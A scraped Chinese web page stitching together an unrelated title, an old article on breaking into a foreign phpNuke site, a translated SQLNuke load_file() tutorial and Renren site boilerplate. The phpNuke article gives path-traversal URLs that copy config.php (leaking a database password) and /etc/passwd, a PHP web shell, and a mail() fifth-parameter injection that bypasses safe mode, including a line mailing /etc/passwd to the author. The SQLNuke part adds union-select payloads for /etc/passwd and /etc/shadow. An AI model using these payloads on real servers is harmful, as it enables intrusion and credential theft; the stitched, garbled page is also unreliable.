为什么nuke中jsonrootname/name没有盘符

当前位置: >>>>>>
SAN是怎么利用phpnuke的漏洞做坏事的
一、phpnuke的漏洞 日的bugtraq里,有一则短短的twlc security divison,说明了phpnuke所有版本(除了5.0RC1)的admin.php文件中,存在一个文件上传的漏洞,因为没有对用户的身份进行验证,所以任何一个用户都可以借此拷贝机器上的任意文件到phpnuke或者phpnuke
    一、phpnuke的漏洞  日的bugtraq里,有一则短短的twlc security divison,说明了phpnuke所有版本(除了5.0RC1)的admin.php文件中,存在一个文件上传的漏洞,因为没有对用户的身份进行验证,所以任何一个用户都可以借此拷贝机器上的任意文件到phpnuke或者phpnuke以外的任意一个有权限的目录。有问题的代码出在下面这段:    $basedir = dirname($SCRIPT_FILENAME);  $textrows = 20;  $textcols = 85;  $udir = dirname($PHP_SELF);  if(!$wdir) $wdir="/";  if($cancel) $op="FileManager";  if($upload) {   //^^^^^^   // +----------------->只是判断是否$upload=1,而没有做任何身份的验证    copy($userfile,$basedir.$wdir.$userfile_name);    $lastaction = ""._UPLOADED." $userfile_name --> $wdir";    // This need a rewrite -------------------------------------> OMG! WE AGREEEEEEEE lmao    //include("header.php");    //GraphicAdmin($hlpfile);    //html_header();    //displaydir();    $wdir2="/";    chdir($basedir . $wdir2);    //CloseTable();    //include("footer.php");    Header("Location: admin.php?op=FileManager");      }    phpnuke是一个使用非常广泛的php程序,国内外有许多大的UNIX\GNU\Linux站点都是使用这套程序,而一般使用者都很少disable掉里面一些看起来非常强大,但实则容易出问题的函数。而且phpnuke做出来的页面,风格非常明显,易于辨认,所以san就找了一个国外站点试了试……    二、简单利用  很直接的利用方法就是,用下面的语句将phpnuke的配置文件config.php拷贝到phpnuke目录下的images/hacked.txt,如下:    http://www.server.net/admin.php?upload=1&file=config.php&file_name=hacked.txt&wdir=/images/&userfile=config.php&userfile_name=hacked.txt    这样通过在浏览器上输入:    http://www.server.net/images/hacked.txt,就可以看到config.php的内容了,当然包括里面的sql密码等敏感信息,比如下面就是该server的config.php片断:    -----------------snip--------------------------    ######################################################################  # Database & System Config  #  # dbhost:  MySQL Database Hostname  # dbuname: MySQL Username  # dbpass:  MySQL Password  # dbname:  MySQL Database Name  # system:  0 for Unix/Linux, 1 for Windows  ######################################################################    $dbhost = "localhost";  $dbuname = "phpnuke";  $dbpass = "nukeitnow";  $dbname = "phpnuke_44";  $system = 0;    -----------------snip--------------------------    而且,通过这一漏洞,你甚至可以将文件复制到phpnuke以外的目录,比如(这是俺在自己机器上测试的:):    root@somehost:/tmp > ls -la  total 20  drwxrwxrwt  8 root   root     2048 Sep 25 13:37 .  drwxr-xr-x 19 root   root     2048 Feb 28 2001 ..  drwxrwxrwt  2 root   root     2048 Mar 6 2001 .X11-unix  -rw-r--r--  1 root   root     851 Sep 25 13:37 copyme.txt  ....    在浏览器里输入以下url:    http://www.server.net/admin.php?upload=1&wdir=/../../../../../../../tmp&userfile=/../../../../../../../tmp/copyme.txt&userfile_name=/../../../../../../../tmp/hacked.txt    root@somehost:/tmp > ls -la  total 20  drwxrwxrwt  8 root   root     2048 Sep 25 13:37 .  drwxr-xr-x 19 root   root     2048 Feb 28 2001 ..  drwxrwxrwt  2 root   root     2048 Mar 6 2001 .X11-unix  -rw-r--r--  1 root   root     851 Sep 25 13:37 copyme.txt  -rwxr-xr-x  1 wwwrun  wwwrun    851 Sep 25 13:37 hacked.txt  ....    hacked.txt已经被顺利地复制到/tmp下面了。    通常这时候是先试试看passwd吧……但是当san希望通过指定不同的文件名,来将/etc/passwd文件拷贝到images目录下时,却发生了意外……:    输入如下url:    http://www.server.net/admin.php?upload=1&file=/etc/passwd&file_name=hacked.txt&wdir=/images/&userfile=/etc/passwd&userfile_name=hacked.txt    浏览器里返回的结果有这么一句话:    Warning: SAFE MODE Restriction in effect. The script whose uid is 180 is not allowed to access /etc/passwd owned by uid 0 in /home/htdocs/www-edu/admin.php on line 398    本来以为这样便将/etc/passwd文件复制到images/hacked.txt了,同样可以通过浏览器来看到它,但结果却是不让拷,实在有些扫兴,但这也越发激起了san的斗志……xixi。    三、文件上传  1、脚本文件    但是只能浏览一些敏感信息,xundi姐姐觉得不太满意,提出要能执行命令的要求,于是san只好再挖空心思……首先是写一个简单的php脚本,如果将它上载到服务器上,便可以利用该脚本执行命令了:    ------------test1.php------------  &?php  echo"   ";   system("$cmd");   echo"   ";   ?>  ------------test1.php------------    2、上载文件至phpnuke目录下    当执行完比如  http://www.server.net/admin.php?upload=1&file=config.php&file_name=hacked.txt&wdir=/images/&userfile=config.php&userfile_name=hacked.txt    这样的命令后,phpnuke返回的是filemanager的界面,这时我们就可以简单地选择在选择本地的文件后,选择upload把文件传到当前目录下(现在是images/下面),就这样,san把test1.php传上去了……    3、执行命令    在浏览器中输入http://www.server.net/images/test1.php?cmd=id,按照我们的构想,应该返回web server运行者的id号,但结果……    居然返回空白?    4、safe mod    原来是这台web server使用了php的safe mod来运行,下面的例子是从php的安全模式说明文件中摘出来的,比如我们希望在一台以safe mod运行的php web server上执行下面代码:    &?php  readfile('/etc/passwd');   ?>       结果浏览器会返回如下结果:    results in this error when Safe Mode is enabled: Warning: SAFE MODE Restriction in effect. The script whose uid is 500 is not   allowed to access /etc/passwd owned by uid 0 in /docroot/script.php on line 2    这就是前面我们无法拷贝/etc/passwd的原因了,同样的,在安全模式下,system()调用等等也是被禁止的,我们只能够执行safe_mode_exec_dir里允许的可执行文件,所以,我们的test1.php在这里失去了用武之地……    四、突破限制  1、突破safe mod    先让我们看看san在他的一篇文章里写到的:    -------------------snip------------------------  2、mail函数的第五个参数   在php-4.0.5的时候,mail函数引入了第五个参数,用来设置在实际发送邮件的时候增加额外的命令行参数, 但是没有很好的检查特殊SHELL命令字符,所以出现执行命令的大问题。就像手册里的例子: mail("", "the subject", $message, "From: webmaster@$SERVER_NAME", "-fwebmaster@$SERVERNAME"); 这个是存在问题的,如果$SERVER_NAME=;mail san@xfocus.org & /etc/passwd就能把机器的密码发送到我的信箱了。     这里提醒一下,php手册里还有好几个例子存在安全问题的,大家实际使用的时候不要照搬,它只是演示函数的基本功能,理解了就可以了。     对于mail函数的这个问题,最简单的我们就不用这个第五个参数,要使用就过滤非法的字符如(;),还有就是修改 php源码包的程序ext/standard/mail.c,在if (extra_cmd != NULL) { 前增加如下一行: extra_cmd=NULL     然后重新编译。   -------------------snip------------------------    通过这一原理,我们准备突破safe mod的限制了……先看看san写的test2.php    -----------------test2.php-------------------------  &?  mail("", "the subject", $message, "From: webmaster@;cp /etc/passwd /home/htdocs/www-edu/images/kk.txt", "-fwebmaster@;cp /etc/passwd /home/htdocs/www-edu/images/kk.txt");?>  -----------------test2.php-------------------------    将test2.php上传到web服务器上并执行后,我们从浏览器中看http://www.somesite.net/images/kk.txt,可以看到,我们已经可以拷贝/etc/passwd了,也就是说,已经突破了safe mod的限制了……下面便是passwd的片断:  <
------分隔线----------------------------
------分隔线----------------------------
黑客态度重要,但技术更加重要。态度无法替代技术,在你被别的黑客称为黑客之前,有一...
现在给大家说说怎么样通过注入点判断服务器的硬盘(分区)是否有访问权, http://www.fu...
1.如何让asp脚本以system权限运行? 修改你asp脚本所对应的虚拟目录,把"应用程序保护"...
作者:jiajia01 现在的杀软更新真是快,2006的硝烟尚未散去,国产三巨头的2007版本便...
电子邮件并不是安全的,在邮件的发送、传送和接收整个过程中的每个环节都可能存在薄弱...
这个方法什么号都可以盗,只要是号! 首先,我们要用到wpe,你别说你不知道是什么,这...SQL注入中,有很多技术语句会和Union select 联合使用,比如load_file()、 into outfile() 、informaction_schema、char()、cast()和limit.很多攻击者平时最常用到的是union语句,informaction_schema和order by语句等。但是有很多获取管理帐号和密码的技巧被忽略了,就像下文讲的 一样:
本文中用到的sqlnuke.php文件代码如下:
$id = $_GET["id"];
$con = mysql_connect("localhost", "username", "password");
if (!$con)
die('Could not connect to the MySQL Server ' . mysql_error());
mysql_select_db("database_name", $con);
$sql= "SELECT * FROM table_name where id_number = $id";
echo "&h2&I am Vulnerable to SQL Injection &/h2&&br /& ";
$res = mysql_query($sql);
while($row = mysql_fetch_array($res))
echo "&strong&Username:&/strong& " . $row['username'] . "&br /&";
echo "&strong&Password:&/strong& " . $row['password'] . "&br /&";
echo "&strong&Signature:&/strong& " . $row['mysignature'] . "&br /&";
echo "&br /&";
mysql_close($con);
在这篇文章中我们会用到一个模糊测试新工具,叫SQLNuke,是一款mysql load_file()工具。
要使用此功能,该文件必须要在主机服务器上,同时需要有该文件的完整路径,用户必须具有文件权限。该文件必须可读,大小必须小于max_allowed_packet(my.ini中设置)字节。如果文件不存在或者不能读取会返回NULL.
语法如下:
http://localhost/sqlnuke.php?id=1+union+select+1,load_file(‘file_name/path_name’),3,4
在这种情况下,攻击者可以像利用本地文件包含漏洞一样,对web发起入侵.假设我们知道了列数,就可以使用union select和load_file()组合发起入侵,比如搜集一些敏感文件信息,像/etc/passwd,/etc/hosts,/etc/shadow等等。
http://localhost/sqlnuke.php?id=1+union+select+1,load_file(‘/etc/passwd’),3,4
它需要花费大量的时间来猜测服务器上的文件,并且会返回出具体的路径。但是如果使用了sqlnuke,能够加快猜测速度,节省更多的时间。
SQLNuke是一款免费的开源mysql注射load_file()模糊测试工具,是用ruby语言写的,使用起来非常简单方便。
SQLNuke安装和基本用法:
安装SqlNuke之前,需要确保安装了Git和Ruby,因为它是用ruby语言写的,同时需要git命令来克隆SqlNuke库到本地。
git库址:/nuke99/sqlnuke.git
如果没有安装git和ruby,使用的Debian发行版,像ubuntu、backtrack、linux等,可以使用如下命令安装git和ruby。
sudo apt-get install git-core
sudo apt-get install ruby
要使用SQLNuke,进入它所在目录,使用./sql.rb启动它.
假设我们的目标是:http://localhost/sqlnuke.php?id=1+union+select+1,2,3,4 ,用XxxX替换掉2,这样它会覆盖load_file()函数,从而显示出文件路径.
root@bt:~/sqlnuke# ./sql.rb -u '+union+select+1,XxxX,3,4'
[!] localhost folder already exists
[!] No OS selected, Continue with all the possibilities
[200] - [Success]
/etc/passwd
[200] - [Failed]
/etc/shadow
[200] - [Success]
/etc/group
[200] - [Success]
/etc/hosts
[200] - [Failed]
/etc/apache2/logs/access.log
[200] - [Failed]
/etc/httpd/access.log
[200] - [Failed]
/etc/init.d/apache/httpd.conf
[200] - [Failed]
/etc/init.d/apache2/httpd.conf
[200] - [Failed]
/usr/local/apache2/conf/httpd.conf
[200] - [Failed]
/usr/local/apache/conf/httpd.conf
[200] - [Failed]
/home/apache/httpd.conf
[200] - [Failed]
/home/apache/conf/httpd.conf
[200] - [Failed]
/opt/apache/conf/httpd.conf
[200] - [Failed]
/etc/httpd/httpd.conf
[200] - [Failed]
/etc/httpd/conf/httpd.conf
[200] - [Failed]
/etc/apache/apache.conf
[200] - [Failed]
/etc/apache/httpd.conf
[200] - [Success]
/etc/apache2/apache2.conf
[200] - [Success]
/etc/apache2/httpd.conf
[200] - [Success]
/etc/apache2/sites-available/default
[200] - [Failed]
/etc/apache2/vhosts.d/default_vhost.include
[200] - [Failed]
/var/www/vhosts/sitename/httpdocs//etc/init.d/apache
[200] - [Failed]
C:/wamp/bin/apache/logs/access.log
[200] - [Failed]
C:/wamp/bin/mysql/mysql5.5.24/wampserver.conf
[200] - [Failed]
C:/wamp/bin/apache/apache2.2.22/conf/httpd.conf
[200] - [Failed]
C:/wamp/bin/apache/apache2.2.22/conf/wampserver.conf
[200] - [Failed]
C:/wamp/bin/apache/apache2.2.22/conf/httpd.conf.build
[+] Saved files are in 'output/localhost'
运行之后就能看到具体的存在的文件路径,能够判断系统类型等等。如果已经知道是linux系统,也可以指定模糊测试的系统类型,从而节省更多的时间,命令如下:
./sql.rb &#8211; u ‘http://localhost/sqlnuke.phpid=1+union+select+1,XxxX,3,4′ –os linux
如果你需要猜解更多的文件,你可以定义SqlNuke目录下的packset.lst文件,来加入更多的文件路径信息。
阿德马翻译自国外网站,请尊重劳动成果,转载注明出处.
Related Posts
转载请注明: &
本文作者:热门日志推荐
人人最热标签
分享这篇日志的人常去
北京千橡网景科技发展有限公司:
文网文[号··京公网安备号·甲测资字
文化部监督电子邮箱:wlwh@··
文明办网文明上网举报电话: 举报邮箱:&&&&&&&&&&&&
请输入手机号,完成注册
请输入验证码
密码必须由6-20个字符组成
下载人人客户端
品评校花校草,体验校园广场人人网 - 抱歉
哦,抱歉,好像看不到了
现在你可以:
看看其它好友写了什么
北京千橡网景科技发展有限公司:
文网文[号··京公网安备号·甲测资字
文化部监督电子邮箱:wlwh@··
文明办网文明上网举报电话: 举报邮箱:&&&&&&&&&&&&

我要回帖

更多关于 为什么root总是失败 的文章

 

随机推荐